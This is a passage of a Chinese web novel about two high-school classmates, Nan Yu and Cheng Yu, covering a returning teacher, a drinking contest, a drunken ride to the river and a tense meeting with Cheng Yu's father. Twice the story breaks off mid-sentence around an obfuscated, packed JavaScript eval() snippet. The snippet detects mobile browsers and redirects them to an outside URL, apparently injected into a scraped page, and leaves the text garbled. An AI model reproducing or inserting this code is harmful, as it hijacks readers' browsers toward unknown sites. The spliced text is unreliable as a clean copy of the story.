不过碍于孙邢洲和刘小妹在,他强忍着没说什么。 南鱼沉默了一下,起身往店里去。再回来时,她拿了一瓶矿泉水。 “你喝这个。”她把矿泉水放到程遇面前,又把酒移开。 “没事儿。”程遇摇头。 “程遇,”南鱼有点生气了,“你能不能照顾一点你的身体。” 程遇看着她的眼睛,最终点了下头:“好。” 南鱼拿水回来的时候,孙邢洲去接了个电话,刘小妹也去了趟厕所。 这会儿人回来,孙邢洲注意到程遇面前的水没说什么,后来也没再让他喝酒。 吃完饭,南鱼和程遇一起离开。 两人并肩走在冷清的街道上。 “南鱼,今天……” “不用再说对不起了。”南鱼瞥了他一眼。 程遇问:“不是,我今天来找你,你知道是因为什么?” 南鱼挑眉,没有接话,等着他答案。 程遇看向前方,眼神有些虚无缥缈。 “因为我想更了解你。”程遇停下脚步,转身看她。 南鱼跟着停了下来。 昏暗的路灯下,两人面对面站着,他们的距离很近,近到南鱼能看清他鼻梁上的一颗小痣。 “你说我和你不是一个世界的人,我不知道你处在什么样的世界里,所以,我想到那里看看。”程遇垂眸。 “现在呢?”南鱼轻声问,“你看到了么?” “我的世界就是这样,每天要面对着各种恶心肮脏的人,我要努力在他们之间周旋,只是为了钱,”南鱼讽刺一笑,“我就是这么一个人,为了钱,我可以陪笑,甚至有时候被客人揩几下油也行,只要能挣到钱。” “你是不是觉得,我的世界很恶心,很低俗,”南鱼抬头直视他的眼睛,“你应该也听你奶奶说过我,我不是什么好人。不止你奶奶,镇上有一千多户人家,几乎有一千多户人说起我家,说起我都是避之不及。” “我打架,我抽烟,我喝酒,我卖笑,那些你不喜欢的事情我都有在做。” “我已经不是你最开始认识的那个人了,你看看我现在这副样子,我们见的第一面你也没有认出我,不是么?” “我现在就是这么一个人,”南鱼深吸一口气,平静地看着他,“你确定,还要接近我么?” 有风吹过,路边树叶唰唰作响,偶尔传来几声狗叫。 不知过了多久,南鱼听到面前的男生说。 “为什么不呢?” 她看着程遇,程遇也同样也看着她。 他的眼眸很黑,南鱼有些看不透他。 程遇往前一步,靠近南鱼。 “为什么我不去接近你呢?”程遇再次重复这句话,“你说你变了,但在我眼里,你并没有变。” “你只是把自己伪装的更好了,”程遇说,“你说你的世界肮脏,可是,南鱼,不是的。” “你并不肮脏,你只是在用自己的方式努力的活着。” “你说你喝酒,打架,”说到这,程遇笑了一下,“可是这些事,我今天不也做了么?” “至于第一次见面我没认出你,”程遇叹了一口气,“真的很抱歉,那天我的心思并不在这上面,没有注意你。” “你说我们不是一个世界的人,南鱼,”程遇捏紧了手中的书包肩带,“我会向你证明,我能走进你的世界里。” “但请你,别推开我行么?” 风拂过南鱼的脸颊,带起了她的头发,碎发飘在脸上,有些痒。 南鱼沉默了许久,最后轻声说,“可是我的世界是万丈深渊,你不怕么?” 程遇笑了,他的神色淡然,看着漆黑的远处,有所回忆的说: “不怕,因为我也曾在深渊中。” 10. 第10章 自那晚起,南鱼和程遇之间的关系产生了微妙的变化,这种变化连刘德旋都察觉到了。 刘德旋好奇问:“南姐,那天程遇去KTV找你干啥了?” 南鱼正低头看手机,头也没抬,“你问这么多干嘛?” “我感觉你对程遇的态度好了不少。” 南鱼抓了下头发,把手机塞到书包里抬头,“有么?” “有啊,”刘德旋说,“刚才在路上遇到程遇他和你打招呼你竟然回他了。还有昨天,他给你带了瓶水,你也没有拒绝。” “……”南鱼不自在的清了清嗓子,瞥了他一眼,“那是你的错觉。” “是么?”刘德旋摸摸鼻尖。 南鱼肯定:“嗯,是。” 刘德旋还想再说些什么,南鱼岔开话题,“今晚一起去刘铁那吧。” “去铁哥那干嘛?”刘德旋奇怪。 “好久没去了,怕他一个人年龄大了觉得太孤寡。”南鱼一本正经地说。 “……”刘德旋说,“行,我晚上放学和刘愿生一起等你。” 南鱼“嗯”了声,朝他摆手:“行了,退下吧。” 刘德旋笑嘻嘻地“嗻”了一声离开了南鱼班。 他走后没一会儿,程遇从外面进来。 南鱼正在看杂志,他站到她旁边。 “南鱼。”程遇叫她。 “有事儿?”听到他声音,南鱼抬头。 “我能把桌子搬过来了吧?”程遇说,“我自己一个人坐觉得有些孤独。” 南鱼捋了捋耳边碎发,这次没有拒绝,“随你。” 程遇唇角上扬,转身去搬桌子。 万高达看到他收拾桌子,托着脑袋看他,“你走了我可怎么办,我就成这一列的最后一个人了,没有桌子让我往后靠了,我会难受死的。” “你的位置会更宽敞。”程遇说。 万高达哀嚎:“你能不能别搬,让南鱼还搬回来。” 程遇看了眼南鱼,“怪麻烦的。” 万高达:…… 合着你搬就不麻烦? “我去,我去给南鱼说,她同意了我给她搬桌子,”万高达噌的起身,“你先别动,等我一下。” 万高达小跑到南鱼身边,和她说了一下想法,南鱼看看程遇,懒洋洋的说,“行啊。” 万高达立马热情的给南鱼搬桌子。 他忙前忙后,把南鱼的东西麻溜地搬好。 搬好后,他拍拍手:“搞定!” 南鱼收拾着桌子,“谢了。” 万高达:“客气!” 刘念娣转身过来,从书包里掏出一包小饼干放到南鱼桌上,眼睛弯弯的说:“南鱼,你搬回来了耶,小饼干给你吃。” “谢谢。”南鱼接过,朝她笑了笑。 旁边的万高达仿佛错过了一个亿:??? “喂喂喂,什么情况?你俩什么时候这么熟了?”万高达问。 “女生之间的秘密,你少问。”南鱼说。 刘念娣也小声附和,“对,你少问。” 万高达:“……” “苍天啊,这也能算秘密了。” 他仰天长叹,南鱼和刘念娣相视一笑。 程遇在一旁看着她,窗外的阳光洒在她脸上,白皙的皮肤上泛着毛茸茸的金光。 她在笑,五官都跟着明媚起来。 这才应该是她,程遇这么想。 刚收拾好桌子,万以荣过来收数学作业。 程遇把作业递给她,万以荣看向南鱼。 “没写。”南鱼冷淡的说。 万以荣看了她一会儿,转身离开。 “怎么不写作业?”程遇问她。 “不想写。”南鱼拿起手机准备戴上耳机听歌。 程遇抓住她的耳机,“你不想读大学么?” 南鱼皱了下眉,盯着他越界的手,淡淡地说:“不想。” “你没有想过未来么?未来你不想走出山内镇,去外面的世界看一看么?”程遇沉默了一下,接着问。 南鱼有些不耐烦了,“你烦不烦,我不想出去,不想读书。” “我搬回来坐,不是为了让你管我的。” 南鱼胳膊从他手中挣开。 她有些烦躁地把手机耳机胡乱塞到抽屉里,准备趴在桌子上睡觉。 万以荣不知道什么时候又转了回来。 “程遇说的没错。” 她站在程遇旁边,像是和他一条战线。 又多了一个劝客,南鱼无语了,“班长大人,这里貌似没你什么事儿吧?” “有,我是班长,有义务督促班里每一个同学学习。”万以荣说。 “管好你自己。” 南鱼丢下这句话“噌”的一下站起来往外走。 程遇叫她:“你去哪?” “你管我去哪。” 万以荣朝着她的背影不疾不徐地说:“第一节课是语文课,宁老师回来了。” 南鱼停住了脚步,面无表情的又坐了回来。 上课铃声刚好打响,万以荣回到了自己座位上。 程遇偏头探究地看她。 察觉到程遇目光,南鱼抬眼冷淡的问:“你看什么?” “没,没什么。”程遇收回视线。 上课铃落地了一分钟,门外响起一小阵脚步声,接着,教室门被推开。 “Surprise!各位同学们,我回来了!”一个扎着马尾辫的年轻女人站在门口,激动地看着班里熟悉的面孔。 “哇!宁老师!” “宁老师你去哪了?” “宁老师,我好想你!” “……” 班里出现一阵躁动,同学们都很激动,就连坐在身边的南鱼也绷紧了身体。 程遇抬头看向走上讲台上的女人,好奇她身上有什么魔力。 “安静安静。”宁倩美笑着示意。 班里的人安静下来。 宁倩美清清嗓子,“我呢,这一个月没来上班是因为我参加了一场战斗。” “战斗?什么战斗?”有人问。 “哼哼,你们猜猜?”宁倩美故作玄虚。 “切,老师,你快说嘛。” 宁倩美手握成拳放在嘴边咳嗽一声,接着眼睛亮晶晶的看着他们,抬高声音,用严肃的表情说着不严肃的话:“同志们,我是在为你们战斗!” 底下一片唏嘘声。 宁倩美哈哈笑了两声,“好了好了,不开玩笑了。” “我们开始上课吧。” 宁倩美翻开课本,“我听代课的周老师说咱们讲到了《蜀道难》对吧,来来来,我们接着讲。” “老师,你还没说经历了什么战斗呢!”底下有人喊。 宁倩美笑道:“等月考我们班拿第一了我再给你们讲。” “切~” “好了,肃静!开始讲课!” 一节课下来,程遇终于知道宁倩美为什么这么受欢迎了,她说话风趣幽默,能够和大家打成一片,讲课也很好,很容易能够听进去。 是个挺好的老师。 程遇注意到,在宁倩美的课堂上,南鱼也难得的在认真听讲,他很意外。 下了课,宁倩美合上课本,对着班里的学生摆手,“拜~下堂课见。” 南鱼起身准备出门,宁倩美看到,叫住她,“南鱼,你跟我来一下。” 南鱼迟疑了下,跟了过去。 到了办公室,宁倩美给她搬了张凳子,“坐。” 南鱼坐下。 宁倩美喝了口茶,开口说:“我听周老师说你上课一直在睡觉。” 南鱼垂着头,没有反驳。 宁倩美抬手,摸了一下她的脑袋,“南鱼,你不能因为课不是我上的就不听讲。” 南鱼不说话。 “进入高二了,你离高考也越来越近了,是该好好学习了,”宁倩美说,“不管以前遇到过什么事情,也该放下了不是?你看看万以荣,她现在成绩依旧很好。” “你要强大一点,不能因为那一件事影响你自己,哪怕你恢复不到以前的状态,只要努力比现在好就行。” “你明白我的意思了么?南鱼。”宁倩美问她。 南鱼呼吸逐渐沉重。 宁倩美知道现在的她很难听进去,也没强求,她拍了拍南鱼的肩膀,换了话题,“你同桌叫程遇是吧,好像挺关注你的。” 南鱼抬头,宁倩美调侃,“我看他上课一直看你。” “啧啧,不过别说是她了,我这个女生都喜欢你。”宁倩美掐了掐南鱼的脸。 南鱼脸上发热,“宁老师!” “好了,好了,不调侃你了,”宁倩美笑笑,她从包里掏出一本书递给她,“送给你。” 南鱼接过,低头看了眼。 是《悲惨世界》。 “我觉得很适合你,”宁倩美说,“拿回去读读。” “行了,你赶紧回去吧,一会儿上课了,”她冲南鱼摆手,“什么时候想找我聊天了或者有什么事了随时来找我。” 南鱼拿书回了教室。 程遇瞥到她手中的书,问:“是宁老师给你的?” 南鱼把书塞到抽屉里,“嗯”了一声。 “是本挺好的书,”程遇点评,他往南鱼脸上看了一眼,“你好像很喜欢宁老师。” “她挺好的。”南鱼打了个哈欠,往桌子上一趴就要睡觉。 “那我呢?”程遇突然来了一句。 南鱼:“?” “我好么?”程遇问。 南鱼:“……” 他眼神认真,南鱼突然想起来宁倩美刚才和她说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283279|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :你的同桌上课一直在看你。 她的脸又有点烧了起来。 “挺好的。”半天,南鱼才憋出来这句话。 程遇满意了。 上课铃响了,他开始认真听课。 放了学,刘愿生有事儿先走了,南鱼和刘德旋两人一起去了刘铁修车铺。 刘铁正在忙,见他们两个,“哟,稀客啊。” “还没忙完呢?”南鱼走过去问。 “马上,你们先进去等会儿,屋里有买的果汁。” 南鱼“嗯”了声,和刘德旋进屋。 刘铁很快忙完,他进来拿毛巾擦了擦汗,看着坐在桌子上喝果汁的南鱼,笑道:“桌子要被你压坏了。” 南鱼低头看了眼,“这不还结实呢。” 刘铁拿火机点了根烟:“说吧?怎么有时间来找我了?” 刘德旋在一旁插话:“她说你是孤寡老人太孤独,让我们来探望探望你。” 刘铁嗤的一声笑起来,他看着南鱼,“也难为你想起我。” “那件事谢了。”南鱼淡淡的说。 刘铁挑眉。 “不过那武哥欠你了什么人情?”南鱼问。 “不告诉你。”刘铁深吸一口烟,舒畅地眯了下眼。 南鱼自嘲地笑了下,“你这样又让我欠你一个人情。” “你欠的人情还少?”刘铁笑,“跟我还客气什么。” 刘德旋在一旁听得迷糊,“什么那件事?武哥又是谁?” “没你事儿,”刘铁慈爱地揉乱刘德旋头发,“乖,喝果汁儿去吧。” 刘德旋骂骂咧咧,“操!你占我便宜!” 南鱼和刘德旋笑了起来。 又说了会儿话,外面听着有人来修车。 刘铁叼着烟出去。 一个男生推着电动车站在门口,刘铁过去问,“车怎么了?” 男生回:“充不进去电了。” 刘铁拧钥匙看了下,“电瓶坏了,得换电瓶。” “换电瓶时间长,你要等么?还是明天过来骑走?” “等吧。”男生说。 “行,”刘铁点,他想了下,往里面喊了声,“南鱼,帮我搬个凳子出来。” “行。”南鱼懒洋洋的声音从屋里传来。 刘铁感觉身边男生怔了一下,他没多想,拿起工具开始干活。 南鱼从屋里拿了凳子出来。 看到站在院子里的人,南鱼愣了一下。 “程遇?” “是我,”程遇朝她走过来,“你怎么在这?” 南鱼把凳子往地上一搁,“这我朋友的店。” 程遇点头,“我来修车。” 刘铁注意到这边,他起身,看着他们,“南鱼,你认识?” 南鱼“嗯”了声,“我同桌。” 刘铁扬眉,这会儿上下打量程遇。 他眯着眼,看着程遇的眼神一直落在南鱼身上,若有所思。 “南鱼,过来帮忙。”片刻,刘铁叫她。 “来了,”南鱼过去,“需要我干什么?” “帮我把螺丝刀拿过来。” “好。” 程遇站在一旁,面无表情地看着刘铁让南鱼拿这拿那,心里突然涌出一股烦躁的情绪。 “好了,你来试试看行不行。”过了许久,刘铁叫程遇。 程遇上前,把钥匙插进去,电动车屏幕亮了起来。 “可以了,谢谢,”程遇收回钥匙,问刘铁,“多少钱?” 刘铁看了看正蹲在地上洗手的南鱼,用略微亲昵的语气说:“你是小鱼儿朋友,不收费了。” “多少钱?”程遇再次重复,他定定地看着刘铁的眼睛。 刘铁收起脸上的笑,“150。” 程遇从兜里拿出来一张一百,一张五十递给他。 “南鱼,你回去么?”程遇抬高声音问刚洗好手的女生。 南鱼看了下时间,已经七点多了,也该回了。 “回去。” “我送你。”程遇说。 “也——” “行”字还没脱口,刘铁突然叫她:“南鱼。” “怎么了?”南鱼偏头问。 刘铁笑着说,“我好久没和奶奶一起吃饭了,今晚我去你家吃饭吧。” “你不是觉得我奶奶做的饭不好吃?”南鱼觉得刘铁怪怪的。 “没,而且我有一段时间没见她了,也挺想她的。”刘铁话是对着南鱼说的,眼神却是看着她身后的程遇。 “那行,我和我奶奶说一声。”南鱼刚准备掏手机打电话。 程遇往前走了一步,看着南鱼说。 “我也要去。” 南鱼没反应过来。 程遇瞥了一眼刘铁,一字一句地说,“我也要去你家吃饭。” 11. 第11章 南鱼没有把他们带回家,这么多人,她奶奶做饭来不及也挺麻烦,于是带他们路边找个了饭店。 她不知道怎么就成了这样的局面。 程遇和刘铁坐在桌子对侧,两人似乎都对对方有敌意。 “你们吃什么菜?”南鱼把菜单放到到中间问他们。 刘铁:“随便,你点吧。” 程遇:“你点什么都可以,我不挑。” 南鱼:“……” 只有刘德旋很给面子,“我来点,我来点!” 南鱼和刘德旋点了几道炒菜。 老板在一旁说:“小菜在屋里,免费的,可以自取。” 南鱼看了眼正暗自较劲的两人,叫上刘德旋起身去选小菜。 南鱼离开后,刘铁问程遇:“喝点酒?” “行。”程遇淡淡的回。 刘铁向老板招手,“老板,一打啤酒。” 老板很快把啤酒搬了过来。 刘铁打来两瓶,一瓶放到程遇面前。 程遇准备往杯子里倒,刘铁嗤之以鼻:“真男人都对瓶喝!” 程遇停下了倒酒的手,抬头看他,淡淡的说:“行,对瓶喝。” 南鱼和刘德旋选完菜回来,程遇和刘德旋已经喝了大半瓶了。 南鱼把菜重重放下,生气地把程遇面前的酒拿走,“你怎么还喝酒。” 程遇脸已经有些红了,他把酒又拿回来,“没事儿。” “什么没事儿,你忘了上次喝酒不舒服的事儿了?”南鱼皱了下眉。 “你这是在关心我么?”程遇笑了笑。 南鱼有些不自然地偏头躲开他目光,“谁关心你了。” 程遇扬了下唇。 刘铁脸沉了沉,他再次举瓶,“来?” 程遇平静地看他:“来。” 南鱼实在忍不住,拍了下桌子,“来什么来!你俩都先吃东西!” 南鱼发话,两人都乖乖地把酒瓶放了下来。 刘德旋在一旁大为震惊。 完了,他好像发现了什么不得了的秘密。 刘德旋赶紧低头拿手机,兴奋地给刘愿生八卦。 【你今天没来错过了一场好戏!程遇和铁哥为爱大打出手,要干起来啦!】 程遇和刘铁谁都不说话,默默地吃菜。 南鱼眼神来回在他俩身上看,奇怪他俩明明才第一次见面,为什么看彼此不顺眼。 南鱼还点了一些烤串,烤串端上来后,刘铁把唯一一串鸡翅放到南鱼盘里,“多吃点,你不是最喜欢吃鸡翅了。” 南鱼拿上鸡翅,突然觉得旁边有些冷嗖嗖的,她看过去,程遇看向她的眼神有些凉凉的。 南鱼:“……” 她不知道自己怎么惹到了程遇,想了想,把鸡翅递过去,问:“你也想吃鸡翅?” 程遇点头,南鱼把手中的鸡翅塞给他,“你先吃,我点的还有,应该一会儿就上了,我去催一催。” 南鱼起身去催,程遇拿着那串鸡翅,略显得意地看着刘铁。 刘铁闷声喝了一口酒,朝他抬了抬下巴,“来啊,继续!” 程遇把鸡翅放下,“奉陪到底。” 两人之间火药味儿太强,刘德旋在一旁默不作声,只是疯狂地给刘愿生发消息。 南鱼再回来,说:“老板说今天鸡翅卖完了,给换成鸡腿了。” 程遇把盘里未动的鸡翅给南鱼,“这个你吃吧。” “你不是也想吃?”南鱼瞥他。 刚才还为了这个鸡翅像是瞪她来着。 “我吃其他的就行。”程遇说。 南鱼不跟程遇客气,接过鸡翅吃了起来。 吃完,她才注意到,刚才她不在的这一小会儿,程遇已经把第一瓶酒喝完了,现在他手里拿的是第二瓶。 刘铁一举瓶,程遇就接上,两人杠上了,跟喝水一样的喝酒。 这是程遇第二次喝酒,第二瓶啤酒喝完,他的整张脸都是红的。 刘铁嘲笑他,“弱鸡,才喝两瓶脸就红成这样。” 程遇胃里翻涌,他努力控制自己让自己表情平静,“那也不代表我不能喝了。” 他继续拿新的一瓶打开,但瓶盖没打开,他就涌出一阵吐意。 程遇脸色很差,他起身,快步往店里的卫生间去。 “你这是干什么呢?”看着他的背影,南鱼眉头紧皱,她有些生气地看着刘铁说,“他喝不了酒,你没看喝了两瓶脸红成这样,还在跟他喝。” “第一次认识程遇,想交个朋友,谁知道他这么不能喝,”刘铁摊手,“这不能怪我。” 南鱼瞪了他一眼,起身跟了过去。 刘铁烦躁的点了根烟。 刘德旋见状,连忙给刘愿生又发了条信息。 【在这场夺爱大战中,铁哥赢了酒却输了心。】 南鱼到卫生间门口,听到里面一阵呕吐的声音。 她站在门口等他。 程遇吐完,洗了手出来。 他的脸色很差,嘴唇毫无血色。 南鱼冷着脸把手中的矿泉水递给他,“喝点水。” “谢谢。”程遇接过,拧开瓶盖仰头喝了几口。 胃里仍旧翻涌,程遇脸一白,又回到了卫生间。 南鱼跟了进去,看着程遇俯身吐完给他递纸,语气不悦:“喝不了还喝,吐成这样活该!” 程遇直起身子,弯唇淡笑:“我不想输。” “什么输不输的,又不是比赛。”南鱼拧眉。 程遇没有说话。 回到位置上,饭也吃得差不多了,南鱼看程遇喝成这个样子也不适合再待下去了,问他:“你能自己骑车回去么?” 程遇眼眸沉了沉,“不太能。” “那我送你回去,”南鱼做了决定,她看了眼另外两人,“我先去结账,结完账我把程遇先送回去。” “我去结。”刘铁把烟掐灭,起身往里走。 “说好我请你们吃饭的。”南鱼跟了过去。 程遇在一旁正难受着,刘德旋叫了他一声,他看过去,刘德旋笑着冲他竖起了大拇指。 程遇没什么反应。 刘铁和南鱼一起从店里出来。 刘铁的脸色很不好看,南鱼问程遇,“你把帐结了?” 程遇点头,“对。” 刘铁瞥了他一眼,“多少钱?我给你。” “不用,我请你们,”程遇顿了一下,看着他轻笑,“毕竟,你们是南鱼朋友。” 刘铁:“……” 刘铁是黑着脸走的,刘德旋不放心他,跟着他先离开了。 南鱼觉得今天刘铁很奇怪,平时他的态度可从没这么差过。 南鱼拎上书包,对一旁的程遇说:“走吧。” 程遇起身,把电车钥匙给她,“麻烦你了。” 南鱼把钥匙插上,脚撑地扶稳车把,“上车。” 程遇长腿一迈坐到了车上。 “送你回家?”南鱼问。 “不回,”程遇摇头,“身上酒味儿太重,奶奶会担心。” “那去哪?” “去河边吧。” 南鱼从后视镜看了他一眼,“行。” 怕被别人看到,南鱼带着他绕小路走。小路有些绕,几次经过坑坑洼洼的土路,程遇觉得自己坐在电动车上都要吐了。 这会儿醉意上头,他有些晕晕乎乎的,抓着后座的手几乎不稳,有好几次要往后面倒。 南鱼正专心骑着车,突然感觉耳边一阵热气袭来,男生低沉的声音在她耳边响起,“南鱼,我能靠一会儿么?就一会儿,我好累。” 接着,没等南鱼回答,程遇的脑袋就落在了她的肩膀上。 南鱼:“......” “程遇!!!” 南鱼咬牙叫他,程遇抓着她的衣服,下巴垫在她的肩膀上,眼神有些迷茫,“嗯?” 明显是醉了。 南鱼一万个后悔带他出来兜风,早知道就应该直接把他送回家,现在他这个样子,麻烦死了。 “南鱼,”程遇突然叫她了一声。 南鱼没好气地回:“干嘛?” 程遇动了动脑袋,声音中略带着些委屈,“我不喜欢刘铁。” 南鱼:“......” “为什么?”南鱼问。 “我不喜欢他和你在一起。” 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283280|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇接着说:“南鱼,我觉得他对你没安好心,你别跟他一起玩儿了。” 南鱼有些好笑,“我们是朋友。” 程遇沉默了一会儿,再开口时,南鱼听出他声音闷闷的。 “我不喜欢你和他做朋友。” 南鱼叹了口气。 “南鱼。”没过几秒,程遇又开始叫她。 “又怎么了?”南鱼问。 “我不喜欢刘铁。” “我觉得他对你没安好心,你能不能别和他一起。” “我不喜欢你和他做朋友。” 南鱼:“......” 程遇来来回回在她耳边这几句话,南鱼深呼了口气,实在忍无可忍,威胁他,“你再说话信不信我把你丢在这!” 程遇马上闭嘴。 又过了一分钟,程遇控制不住自己,又开始在南鱼耳边念叨。 “他都知道你喜欢吃鸡翅,我什么都不知道。” “他让你给他拿螺丝刀。” “他想去你家吃饭。” “......” 南鱼觉得她要疯了。 苍天啊,谁能想到,程遇喝醉酒这么话痨。 救命。 终于到了河边,南鱼把车停到路边,和程遇一起坐在河边吹风。 一路吹风过来,许是醉意消散了点,程遇终于消停了。 南鱼坐在草地上,双手后撑支着身体,静静地看着波光粼粼的河水。 小河远离小镇,周围很安静,只能听到草丛中的蛐蛐声和水流哗啦啦的声音,是一个休闲的好地方。 南鱼看了眼程遇,他垂眸不知道在想什么。月光照在他身上,给他平添了一抹忧伤。 两人坐在那沉默了很久。 “是这个地方。”程遇突然开口,打破了这一份寂静。 南鱼看他,“什么?” “在这条河里,你救了我。” 南鱼看向夜间有些湍急的河流,没有说话。 “那个时候你觉得我很没用,连自己都保护不了,”程遇看着前面黑漆漆的草丛,似乎陷入了回忆里,“所以我很努力的学习,想要变得更加强大,然后再回来找你。” “我一直都想回来找你。”说到这,程遇偏头看她。 “可是你当初是真的因为觉得我没用,才不愿意见我么?”程遇黑眸直直地看着她,“南鱼?” 他的目光落在她脸上,南鱼觉得自己仿佛要被看透了。 “是又怎样?”南鱼目视前方。 “是么?”程遇轻笑一声,“你知道当初是谁推的我么?” 南鱼看向他。 程遇说:“是我弟弟,程宿。” “我不知道当初我奶奶跟你说了什么,但是我想说,南鱼,”程遇语气认真,“当初我落水,绝对不是因为你。” “即使没有你,那个女人也恨不得我去死。” 南鱼眼神复杂。 带了一丝连自己都没察觉出来的心疼。 “所以南鱼,”程遇说,“我不希望你自责。” “你也无须对我自责。” 南鱼所有的心思被程遇猜透,她在某一刻突然有些动摇了,她抿了下唇,心里乱糟糟的。 空气再次安静下来。 过了许久,程遇起身,温柔的看着正在发呆的女生,“我们走吧。” 南鱼回过神,“嗯”了一声。 两人一前一后往车旁走。 程遇和南鱼抢着要骑车,他身体有些晃悠,但握着车把坚决不放手。 他一个喝醉的人,南鱼忍了又忍,才没把他揍一顿。 两人僵持着谁都走不了,最后南鱼让步了,让程遇骑车,大不了她在后面注意一点。 她绷紧精神了一路,就快到到小镇时,南鱼低头看了下手机消息。 也就是这几秒的时间,电车压到了一块石头,车子开始不受控制,歪歪扭扭的行驶。 接着,朝着树撞了上去。 车翻了。 两人都摔了。 南鱼从地上爬起来,看着坐在地上一脸迷茫的人,她终于忍不下去了,咬牙切齿地冲他吼: “程遇!!!” 12. 第 12 章 程遇赶在刘雁花起床前去洗了个澡,冲掉一身的酒味儿。 洗澡水冲在身上,他浑身酸痛,像被人打了一样。 程遇忍着不适,抓紧时间洗了澡出来。 刘雁花起床做饭,正好看到他从洗澡间出来,有些奇怪,“嗳,小遇,你怎么起这么早洗澡?” 程遇正把衣服扔洗衣机,“睡不着了。” “那你先回房间等一会儿,我一会儿就做好饭了。”刘雁花进了厨房。 程遇吹干了头发,坐在书桌面前。 天已经亮了起来,山间的清晨,带着一层蒙蒙的雾气。 窗户半开,程遇看着窗外,回忆起昨晚发生的事。 他隐约记得自己好像骑着电车摔倒了,南鱼在后座也被摔了下来。 程遇有些头疼,记忆中的南鱼好像很生气。 这是他第一次喝醉,酒真误人。 不过他的记忆也只到这里,后来怎么回来的程遇几乎一点印象都没有。 没多久,刘雁花叫程遇出来吃饭。 程遇没多大食欲,只喝了一点粥就上学去了。 到了教室,万高达给他打招呼,程遇回了一句就趴在桌子上补觉。 万高达几乎以为自己看错了,跟见了鬼似的,“卧槽?” 三好学生程遇竟然来学校的第一件事不是看书,而是睡觉? 真稀奇啊! 南鱼在程遇后面进了教室,万高达看到她,指了指程遇,“南鱼,你快看,太阳打西边出来了!程遇他在睡觉!” 南鱼把书包放到桌子里,瞥了程遇一眼,对万高达说,“你小点声。” 万高达“哦哦”了两声,比了个“OK”就转了回去。 程遇睡了一个早读,他再睁开眼,揉了揉隐隐作疼的太阳穴。 班里闹哄哄的,南鱼从外面回来拎了一个袋子,她从袋子里拿了一瓶橙汁放到他桌上。 “醒了?” 程遇看了眼橙汁,“谢谢。” “看你以后还喝酒不喝了,”南鱼嘲讽他,“真不知道自己几斤几两。” 程遇拿起橙汁拧开喝了一口,清爽的口感缓解了一些他的不适。 “昨晚很抱歉。”看到南鱼胳膊的青紫,程遇十分愧疚。 南鱼冷哼一声,没有说话。 “我以后不会再喝酒了。”程遇朝她保证。 南鱼翻了个白眼,“我管你喝不喝呢!” 程遇在心中叹气,他的酒量是真不行。 不过也不怪他,毕竟他以前从未碰过酒精,一滴都没碰过。 早在初中有很多早熟的男生模仿大人喝酒,程佑军就再三叮嘱他,他的身体不能喝酒不能抽烟,不能沾染外面的一切恶习。 他也不喜欢这些,所以从来没有尝试过。 下午放学,徐奇在教室宣布了放国庆小长假的消息,班里的人都沸腾了。 徐奇让他们安静,又宣布了国庆过后就要进行月考的消息,就着考试话题,他再三强调在家也别只顾着玩,要抓紧时间复习。 不过底下没人听他的,大家都沉浸在放假的好消息中,谁还顾得上考试不考试。 万高达转身过来问程遇,“你国庆准备干嘛?” “还不知道,”程遇低头做题,“可能会在家看书。” “……”万高达无语,“你这日子过得也太无趣了点儿吧,除了学习就是学习。” “要不我们一起去网吧玩?我带你玩游戏。” “不去。”程遇拒绝。 “好吧。” 徐奇在上面终于结束了他的发言,宣布下课的那一刻,班内一阵欢呼,许多人像脱缰的马一样冲出教室。 南鱼拎着书包准备离开,程遇拦住她。 “有事儿?”南鱼瞥他一眼。 程遇问:“你国庆准备干什么?” “兼职。”上次在KTV闹出那事儿,南鱼已经很久没去兼职过了,她想趁这个假期多赚些钱。 “那我能去找你么?” “不能!”南鱼拒绝的很快,“上次你去给我找了那么大一个麻烦。” “……我这次不会了。”程遇保证。 “不行就是不行,”南鱼懒得再跟他多说,背上包往教室外走,走之前又强调一遍,“不许来找我!” 程遇看着她的背影,快走几步和她并肩离开教室。 南鱼侧眸看了他一眼,也没多说什么,算是默许了同行。 两人出了校门,程遇没想到会在校门口会看到程佑军。 程佑军回来了,那是不是意味着那两人也回来了。 程遇捏紧书包带,神情一下就淡了下来。 南鱼察觉到,她看了眼站在门口西装革履的中年男人,心中了然。 一见他出来,程佑军连忙笑脸迎了上去,“小遇,你放学了。” 程遇没什么情绪的的“嗯”了一声。 他的态度冷淡,程佑军有些尴尬,他看看程遇旁边的南鱼问:“这是你同学?” “是。”程遇垂眸,语气仍旧不冷不热。 “你好,我是程遇的爸爸,”程佑军脸上带笑,对南鱼热情的说,“我们小遇刚转过来没多久,麻烦你多关照他了。” “我已经转过来一个月了,时间不短了。”没等南鱼说话,程遇先开了口。 气氛一下冷了下来,程佑军有些恼程遇在外人面前不给他一点面子,但此时又不太好发作。 “你是在怪我这一个月没来看你么?”程佑军努力用平和的语气和程遇沟通,“可你知道,我公司忙,平时根本没有时间,你王阿姨不上班,小宿和你都在上学,还有你爷爷奶奶年纪也大了,我不多挣点钱怎么能行,你没理由——” 听着程佑军絮絮叨叨的话,程遇握紧拳,他的呼吸变得沉重起来。 “程叔叔。”南鱼打断了程佑军接下来的话。 程佑军看向她,南鱼手懒散地插在外套兜里,吊儿郎当地看着他说,“您把您儿子从城里丢在这个鸟不拉屎的乡镇,还一个月没来看过他,而且如果我没猜错的话,估计你一个电话也没和他打过。” 